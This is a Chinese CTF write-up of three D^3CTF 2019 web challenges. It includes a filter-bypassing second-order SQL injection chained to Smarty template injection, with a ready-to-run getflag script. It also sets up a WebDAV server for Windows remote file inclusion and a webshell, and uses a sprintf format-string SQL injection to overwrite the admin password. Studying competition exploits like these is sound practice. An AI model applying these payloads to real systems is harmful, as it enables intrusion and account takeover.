2019d3ctf 个人记录
by wqpw
这次比赛题目还是很有趣的,学到了/复习了不少东西。总共看了3个web题(easyweb, fakeonelinephp, showhub),结果easyweb非预期解搞出来了,但另外两个都卡在一半不会了…感觉比赛时间有点紧来不及学,还是平时修行不够。
easyweb
是一个代码审计的题,然而我一开始太激动整了半小时才发现题目给了源码,看入口文件知道是一个用CodeIgniter框架写的web应用。
然后黑盒结合白盒进行测试,首先是登录和注册,看代码都是用的框架的函数,都被细致的过滤过看不出注入。除了username和password之外,每个用户还设置了一个$this->userId = md5(uniqid());
一起插到表里。
登录进去后首先显示profile页面,然后有用的只有upload和index页面。upload页面可以上传任意文件并会被保存到服务器/tmp/userId/下,暂时没有用处。index页面提示我们需要找到一个RCE漏洞。
<body class="article-page">
Hi, , hope you have a good experience in this ctf game
<br>
you must get a RCE Bug in this challenge
</body>
首先考虑的就是模板注入,尝试注册一个用户名是{php}echo 1;{/php}
的用户看看,结果发现了报错:
A PHP Error was encountered
Severity: Notice
Message: Undefined offset: 0
Filename: models/Render_model.php
Line Number: 22
......略
A PHP Error was encountered
Severity: Notice
Message: Trying to get property 'userView' of non-object
Filename: models/Render_model.php
Line Number: 22
......略
An uncaught Exception was encountered
Type: SmartyException
Message: Unable to load template 'data:,'
Filename: /var/www/html/application/third_party/smarty/libs/sysplugins/smarty_internal_template.php
Line Number: 195
......略
现在来分析下代码这里为什么会报错。
看models/Render_model.php
<?php
class Render_model extends CI_Model
{
public $username;
public $userView;
public function insert_view($username, $content){
$this->username = $username;
$this->userView = $content;
$this->db->insert('userRender',$this);
//这个函数在application\controllers\User.php中用户注册时调用
//将每个用户与对应的view保存
}
public function get_view($userId){
$res = $this->db->query("SELECT username FROM userTable WHERE userId='$userId'")->result();
if($res){
$username = $res[0]->username;
$username = $this->sql_safe($username); //sql过滤
$username = $this->safe_render($username); //然后防止模板注入
$userView = $this->db->query("SELECT userView FROM userRender WHERE username='$username'")->result();
//根据框架的代码,这里是直接执行sql,只用正则过滤了像'DELETE FROM TABLE'的 ( ゚∀。)
//而且在双引号里面,username直接带进去了,等于是个二次注入
$userView = $userView[0]->userView; //得到返回的userView
return $userView;
}else{
return false;
}
}
private function safe_render($username){
$username = str_replace(array('{','}'),'',$username); //然后过滤了{,}防止模板注入
return $username;
}
private function sql_safe($sql){
//先用正则干掉了一堆关键字防止sql注入
if(preg_match('/and|or|order|delete|select|union|load_file|updatexml|\(|extractvalue|\)/i',$sql)){
return '';
}else{
return $sql;
}
}
}
可以看到get_view函数里面,先检测了sql关键字才替换{}
为空,于是o{r, sele{ct, uni{on
这样就绕过去了。不过()
不能用,所以这里是个限制较大的二次注入,需要仔细思考怎样利用。
很快可以想到的是利用union注入可以控制返回的view,先记一下。
然后再来考虑下用户名是{php}echo 1;{/php}
时为何会出错,这是因为被safe_render换成了phpecho 1;/php
,然而并没有这个用户,所以也没有userView
。接下来看这个userView
还有data:,
到底是啥。
//\application\controllers\User.php
<?php
class User extends CI_Controller
{
private $renderPath;
private $base_url;
public function __construct() {
//......
}
public function index() {
if ($this->session->has_userdata('userId')) {
//从刚说的有注入的函数得到view
$userView = $this->Render_model->get_view($this->session->userId);
$prouserView = 'data:,' . $userView;
$this->username = array('username' => $this->getUsername($this->session->userId));
$this->ci_smarty->assign('username', $this->username);
$this->ci_smarty->display($prouserView);
//username加进去,然后解析模板 data:,$userView
} else {
redirect('/user/login');
}
}
public function register() {
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username']; //直接得到传过去的username
$password = $_POST['password'];
$init_content = file_get_contents($this->renderPath . 'index/koocola.tpl');
$init_content = str_replace(array("\r\n", "\r", "\n", "\t"), "", $init_content);
if ($this->User_model->insert_user($username, $password)) {
//这里等于是每个用户都有一个对应username的view
$this->Render_model->insert_view($username, $init_content);
redirect('user/login');
} else {
redirect('user/login');
}
} else {
redirect('user/login');
}
}
public function logout() {
//......
}
public function login() {
//......
}
public function profile() {
//......
}
private function getUsername($userId) {
//......
}
}
从而可以构造刚才的echo 1;
用hex编码后利用sql注入绕过过滤,尝试模板注入。至于为啥是,完全是试出来的,过程就不提了。
//下面的payload,是拿到shell后才知道的
mysql> select hex('system("/readflag /flag");');
得到7B7B7068707D7D73797374656D28222F72656164666C6167202F666C616722293B7B7B2F7068707D7D
下面是一键getflag.py
# coding=utf-8
from requests import session
from random import sample, randint
import string
url1 = 'http://275ed6fa96.easyweb.d3ctf.io/user/register'
url2 = 'http://275ed6fa96.easyweb.d3ctf.io/user/login'
url3 = 'http://275ed6fa96.easyweb.d3ctf.io/user/index'
u = session()
payload = ''.join(sample(string.ascii_letters, randint(7, 16))) #可能有被注册的,再跑一下
payload += "' un{ion sel{ect 0x7B7B7068707D7D73797374656D28222F72656164666C6167202F666C616722293B7B7B2F7068707D7D#"
u.post(url1, data={"username":payload, "password":"test"})
u.post(url2, data={"username":payload, "password":"test"})
print u.get(url3).content
#d3ctf{Th4at's_A_Si11y_P0p_chi4n}
看到flag,便可以知道预期解应该是触发反序列化,然后要挖掘POP链,这里是出题人忘记禁用{php}
标签了。
然后反序列化的做法,暂时不知道。
fakeonelinephp
只做了一半
打开是一行php代码:
<?php ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);
一看就想到了hitcon-ctf-2018的one-line-php-challenge,代码一模一样,然而不可能出原题。
当我在自己的vps上放了个txt文件内容是@<?php echo phpinfo(); ?>
然后尝试远程文件包含时,出现了报错:
发现是Windows的服务器(WNMP),allow_url_include=0不能远程包含,突然想到:RFI 绕过 URL 包含限制 getshell
经过一段时间的研究后得知,只有Windows下的文件包含有这个问题这个题可以搞,但smb协议不能用因为445端口全被运营商封了…然后才查到还可以用webdav来搞。
WebDAV ,全称是Web-based Distributed Authoring and Versioning,维基百科上对它的解释是这样的:基于Web的分布式编写和版本控制(WebDAV)是超文本传输协议(HTTP)的扩展,有利于用户间协同编辑和管理存储在万维网服务器文档。
首先要搭建一个webdav服务:
#安装apache 启用模块
sudo apt-get install apache2
sudo a2enmod dav_fs
sudo a2enmod dav
#随便找个地方创建目录授权给apache
sudo mkdir /opt/webdav
sudo chown www-data:www-data /opt/webdav
然后修改apache的配置文件vim /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
<Directory /opt/WEBDAV/>
Options Indexes MultiViews
AllowOverride None
Require all granted
Order Allow,Deny
Allow from all
</Directory>
Alias /WEBDAV /opt/WEBDAV
<Location /WEBDAV>
DAV On
Order Allow,Deny
Allow from all
<RequireAll>
Require all granted
</RequireAll>
</Location>
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
然后重启apache service apache2 restart
,访问?orange=\\你的ip\WEBDAV\qaq.txt
然后可以远程加载shell,用蚁剑连。在服务器上把.git目录打包弄回来,恢复版本可以得到hint和一个字典,说是要爆破内网一台机器,flag在那个服务器的Administrator的桌面上,于是我就不会了,来不及学。
showhub
题目意思是这是用一个自己写的框架开发的web应用,给了这个框架的代码让我们审计。
文件不多,主要看\Models\User.php
和\Models\Model.php
。
在User.php中可以知道密码都是sha256加密的,而且题目后来给了提示没有弱密码,让我们“更新”admin的密码来登录。所以主要看和数据库交互的地方,而且题目上的web应用只有一个我们可以控制的输入点,那就是注册的时候发送用户名和密码。密码会被加密,所以只能在username这里想办法注入。
首先在注册的时候调用了Model.php的save()函数,$user = (new User(null, $username, $password))->save();
//无关已略过
<?php
class Model
{
private $db = null; //mysqli
private $tbname = null;
public function __construct() {
}
static private function prepareWhere($args) {
}
static private function prepareInsert($baseSql, $args) {
$i = 0;
if (!empty($args)) {
foreach ($args as $column => $value) {
$value = addslashes($value); //转义了
if ($value !== null) {
if ($i !== count($args) - 1) {
//循环格式化生成sql语句
$baseSql = sprintf($baseSql, "`$column`,%s", "'$value',%s");
} else {
$baseSql = sprintf($baseSql, "`$column`", "'$value'");
}
}
$i++;
}
}
return $baseSql;
}
static private function prepareUpdate($baseSql, $args) {
}
public static function findOne(array $args = array()) {
}
public function save() {
$args = get_object_vars($this);
$args = array_slice($args, 0, -2);
if ($args['id'] !== null) {
//......
} else {
$baseSql = "INSERT INTO `$this->tbname`(%s) VALUE(%s)";
$sql = self::prepareInsert($baseSql, $args);
$this->db->query($sql);
//......
}
}
}
可以看到prepareInsert函数里有一行$baseSql = sprintf($baseSql, "
$column,%s", "'$value',%s");
然后想到了2019 DDCTF的签到题,里面有一个php格式化字符串的利用,又找了一篇文章PHP字符串格式化特点和漏洞利用点,开始研究这里能否利用。
首先根据Model.php写一个打印生成的sql语句的测试文件:
<?php
error_reporting(0);
function prepareInsert($baseSql, $args)
{
$i = 0;
if (!empty($args)) {
foreach ($args as $column => $value) {
$value = addslashes($value);
if ($value !== null) {
if ($i !== count($args) - 1) {
$baseSql = sprintf($baseSql, "`$column`,%s", "'$value',%s");
} else {
$baseSql = sprintf($baseSql, "`$column`", "'$value'");
}
}
$i++;
}
}
return $baseSql;
}
function save($args)
{
$args = array_slice($args, 0, -2);
$tbname = "test";
$baseSql = "INSERT INTO `$tbname`(%s) VALUE(%s)";
$sql = prepareInsert($baseSql, $args);
return $sql;
}
echo urldecode($_GET['username'])."<br/>";
echo save(["username"=>$_GET['username'], "password" => '233333', "a"=>"xbt", "?"=>"asdasd"])."<br/>";
结合文章提到的方法以及用burpsuite爆破,可以构造出逃逸掉’的payload:admin%1$'
然后尝试再insert一个admin进去
username=admin%1$',0x36316265353561386532663662346531373233333862646466313834643664626565323963393838353365306130343835656365653766323762396166306234)-- -&password=aaaa
发现失败。尝试修改admin之外用户,发现第一次成功,同样的用户名(payload百分号之前)第二次失败,猜测是不能插入相同的记录。然后百度mysql插入覆盖之类的关键字,学到了ON DUPLICATE KEY UPDATE
Mysql中INSERT … ON DUPLICATE KEY UPDATE的实践
修改payload为:
admin%1$',0x36316265353561386532663662346531373233333862646466313834643664626565323963393838353365306130343835656365653766323762396166306234) ON DUPLICATE KEY UPDATE id=md5(1)-- -
至于md5,是猜出来的
成功成为admin。
然后……ip要变成内网
离结束还有3小时,想遍了办法没搞定,结束。
tags: blog